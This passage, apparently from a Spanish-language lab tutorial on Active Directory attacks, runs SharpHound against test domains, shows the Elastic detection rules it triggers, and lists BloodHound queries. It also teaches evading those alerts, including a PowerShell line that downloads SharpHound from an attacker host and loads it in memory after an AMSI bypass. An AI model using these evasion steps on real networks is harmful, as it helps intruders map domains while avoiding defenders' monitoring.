.\sharphound.exe -d essos.local -c all --zipfilename bh_essos.zip
```
![image](https://hackmd.io/_uploads/ByHJl9PM0.png)

Detecciones de Elastic:
![image](https://hackmd.io/_uploads/BkkLecDfR.png)
![image](https://hackmd.io/_uploads/H1rRb9wMC.png)

Consulta EQL:
```
sequence by process.entity_id with maxspan=2m
  [process where host.os.type == "windows" and event.type == "start" and process.pid != 4 and 
   not user.id : ("S-1-5-19", "S-1-5-20") and 
   not (process.code_signature.trusted == true and not process.code_signature.subject_name : "Microsoft *") and 
   not (process.name : "powershell.exe" and process.args : "?:\\ProgramData\\Microsoft\\Windows Defender Advanced Threat Protection\\Downloads\\PSScript_*.ps1")]
  [network where host.os.type == "windows" and destination.port == 445 and process.pid != 4 and
     not cidrmatch(destination.ip, "127.0.0.1", "::1")]
until [process where host.os.type == "windows" and event.type == "end"]
```

La alerta generada por Elastic es una "Direct Outbound SMB Connection" de severidad media, con un puntaje de riesgo de 47. Esta alerta indica que un proceso inesperado, en este caso "SharpHound.exe", ha hecho una conexión de red utilizando el puerto 445, que es típicamente utilizado por el protocolo Server Message Block (SMB) para compartir archivos en Windows. Este tipo de actividad es sospechosa porque, aunque el puerto 445 es usado legítimamente por procesos del kernel para la compartición de archivos, cuando procesos a nivel de usuario lo utilizan, podría ser indicativo de escaneos de puerto, explotaciones o movimientos laterales en una red.

![image](https://hackmd.io/_uploads/r1sczqvGA.png)
![image](https://hackmd.io/_uploads/Hkg1Q5DGC.png)

Consulta personalizada:
```
host.os.type:windows and event.category:iam and event.action:user-member-enumerated and 
  (
    group.name:(*Admin* or "RemoteDesktopUsers") or
    winlog.event_data.TargetSid:("S-1-5-32-544" or "S-1-5-32-555")
  ) and 
  not (
    winlog.event_data.SubjectUserName: *$ or
    winlog.event_data.SubjectUserSid: ("S-1-5-19" or "S-1-5-20") or 
    winlog.event_data.CallerProcessName:("-" or 
                                       *\:\\\\Windows\\\\System32\\\\VSSVC.exe or 
                                       *\:\\\\Windows\\\\System32\\\\SearchIndexer.exe or 
                                       *\:\\\\Windows\\\\System32\\\\CompatTelRunner.exe or 
                                       *\:\\\\Windows\\\\System32\\\\oobe\\\\msoobe.exe or
                                       *\:\\\\Windows\\\\System32\\\\net1.exe or 
                                       *\:\\\\Windows\\\\System32\\\\svchost.exe or 
                                       *\:\\\\Windows\\\\System32\\\\Netplwiz.exe or 
                                       *\:\\\\Windows\\\\System32\\\\msiexec.exe or
                                       *\:\\\\Windows\\\\System32\\\\CloudExperienceHostBroker.exe or
                                       *\:\\\\Windows\\\\System32\\\\RuntimeBroker.exe or
                                       *\:\\\\Windows\\\\System32\\\\wbem\\\\WmiPrvSE.exe or
                                       *\:\\\\Windows\\\\System32\\\\SrTasks.exe or
                                       *\:\\\\Windows\\\\System32\\\\diskshadow.exe or
                                       *\:\\\\Windows\\\\System32\\\\dfsrs.exe or
                                       *\:\\\\Windows\\\\System32\\\\vssadmin.exe or
                                       *\:\\\\Windows\\\\System32\\\\dllhost.exe or
                                       *\:\\\\Windows\\\\System32\\\\mmc.exe or
                                       *\:\\\\Windows\\\\System32\\\\SettingSyncHost.exe or
                                       *\:\\\\Windows\\\\System32\\\\inetsrv\\\\w3wp.exe or
                                       *\:\\\\Windows\\\\System32\\\\wsmprovhost.exe or
                                       *\:\\\\Windows\\\\System32\\\\spool\\\\drivers\\\\x64\\\\3\\\\x3jobt3?.exe or
                                       *\:\\\\Windows\\\\System32\\\\mstsc.exe or
                                       *\:\\\\Windows\\\\System32\\\\esentutl.exe or
                                       *\:\\\\Windows\\\\System32\\\\RecoveryDrive.exe or
                                       *\:\\\\Windows\\\\System32\\\\SystemPropertiesComputerName.exe or
                                       *\:\\\\Windows\\\\SysWOW64\\\\msiexec.exe or
                                       *\:\\\\Windows\\\\ImmersiveControlPanel\\\\SystemSettings.exe or
                                       *\:\\\\Windows\\\\Temp\\\\rubrik_vmware???\\\\snaptool.exe or
                                       *\:\\\\Windows\\\\VeeamVssSupport\\\\VeeamGuestHelper.exe or
                                       ?\:\\\\WindowsAzure\\\\*WaAppAgent.exe or
                                       ?\:\\\\Program?Files?\(x86\)\\\\*.exe or
                                       ?\:\\\\Program?Files\\\\*.exe or
                                       ?\:\\\\$WINDOWS.~BT\\\\Sources\\\\*.exe
                                      )
  )
```

Elastic ha detectado un evento de "Enumeration of Privileged Local Groups Membership", lo que significa que un proceso inusual, en este caso SharpHound.exe, ha enumerado la membresía de grupos locales privilegiados de Windows, como los grupos de Administradores o Usuarios de Escritorio Remoto. Este tipo de actividad es típicamente sospechosa porque puede indicar un intento de descubrir cuentas con altos privilegios para posibles ataques o movimientos laterales dentro de una red.

Para evitar activar la alerta "Enumeration of Privileged Local Groups Membership" cuando usas SharpHound, debes omitir los métodos de recolección LocalGroup y ComputerOnly, ya que ambos incluyen la enumeración de miembros de grupos locales de administradores.

Ejemplo de comando ajustado:
```
SharpHound.exe -d dominio.local -c Container,Group,GPOLocalGroup,Session,LoggedOn,ObjectProps,ACL,Trusts,RDP,DCOM,DCOnly,UserRights,CARegistry,DCRegistry,CertServices
```
Este comando incluye una serie de métodos de recolección que permiten obtener datos útiles sin involucrar la enumeración de grupos locales de administradores, evitando así la generación de alertas específicas en sistemas de seguridad que monitorizan esta actividad.

O también podríamos emplear Reflection en PowerShell para ejecutar el proceso completamente en memoria (si haces esto con Defender activado, primero tendrás que evadir el AMSI).
```
$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.10.10/SharpHound.exe')
$assem = [System.Reflection.Assembly]::Load($data)
[Sharphound.Program]::Main("-d north.sevenkingdoms.local -c all".Split())
```

Este enfoque permite evitar la alerta genérica de detección de malware denominada "Malware Detection Alert" y la de "Direct Outbound SMB Connection".

Utilizando este método con Reflection de PowerShell, el proceso que se muestra como padre no será SharpHound.exe, sino powershell.exe.

### Cazando con BloodHound
Ahora inicia Neo4j y BloodHound (el ingestor debe coincidir con la versión correcta de BloodHound).
Luego, sube los archivos zip a BloodHound.

Mostrar todos los dominios y ordenadores:
```
MATCH p = (d:Domain)-[r:Contains*1..]->(n:Computer) RETURN p
```
![image](https://hackmd.io/_uploads/Sk9lw9DGR.png)

Mostrar todos los usuarios:
```
MATCH p = (d:Domain)-[r:Contains*1..]->(n:User) RETURN p
```
![image](https://hackmd.io/_uploads/rkkrw5wMA.png)

Ver el mapa general de dominios/grupos/usuarios:
```
MATCH q=(d:Domain)-[r:Contains*1..]->(n:Group)<-[s:MemberOf]-(u:User) RETURN q
```
![image](https://hackmd.io/_uploads/r1D_w5PMC.png)

Ver las ACLs de los usuarios:
```
MATCH p=(u:User)-[r1]->(n) WHERE r1.isacl=true and not tolower(u.name) contains 'vagrant' RETURN p
```
![image](https://hackmd.io/_uploads/H1fiw5DGC.png)

Si quieres profundizar más, te recomiendo los siguientes artículos con mucha información y consultas útiles:
* https://en.hackndo.com/bloodhound/
* https://hausec.com/2019/09/09/bloodhound-cypher-cheatsheet/

En el próximo artículo comenzaremos a jugar con envenenamiento y retransmisión NTLM.